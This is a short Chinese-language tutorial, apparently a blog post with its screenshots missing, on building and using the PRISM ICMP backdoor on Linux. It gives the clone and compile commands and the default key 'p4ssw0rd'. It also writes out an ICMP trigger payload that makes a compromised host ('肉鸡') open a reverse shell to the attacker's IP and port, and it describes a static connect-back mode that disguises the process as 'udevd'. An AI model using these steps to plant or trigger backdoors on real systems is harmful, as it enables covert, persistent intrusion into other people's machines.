Linux下ICMP后门PRISM

支持平台

功能

项目地址

git clone https://github.com/andreafabrizi/prism.git

编译

gcc <..OPTIONS..> -Wall -s -o prism prism.c

选项如下:

ICMP模式

使用这种模式的后门将会在后台等待特定的包含主机/端口连接信息的ICMP数据包，通过私有密钥可以阻止第三方访问。后门进程接受ping包激活。

可以修改密钥，默认是p4ssw0rd

可以看到模式为icmp

攻击机（172.16.100.182）：

肉鸡（172.16.100.134）：

攻击机（172.16.100.182）：

发送icmp包

内容如下：
p4ssw0rd 172.16.100.182 6666 QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ

然后获得Shell。

STATIC模式

后门尝试连接硬编码的IP:PORT

可以看到自定义进程名称为udevd

重新编译

攻击机（172.16.100.182）：

肉鸡（172.16.100.134）：

查看进程

获得Shell